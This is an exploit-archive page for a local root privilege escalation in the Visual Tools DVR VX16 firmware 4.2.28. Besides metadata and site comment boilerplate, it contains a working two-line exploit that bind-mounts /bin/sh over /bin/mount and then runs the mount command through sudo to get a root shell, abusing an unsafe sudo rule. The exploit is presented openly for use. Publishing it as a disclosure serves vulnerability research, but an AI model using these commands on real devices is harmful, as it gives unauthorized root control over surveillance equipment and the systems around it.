Visual Tools DVR VX16 4.2.28 Privilege Escalation

2021.07.07

Credit: Andrea D'Ubaldo

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: CWE-264

# Exploit Title: Visual Tools DVR VX16 4.2.28 - Local Privilege Escalation
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.
#An attacker can perform a system-level (root) local privilege escalation abusing unsafe Sudo configuration.
sudo mount -o bind /bin/sh /bin/mount
sudo mount

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Visual Tools DVR VX16 4.2.28 Privilege Escalation

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.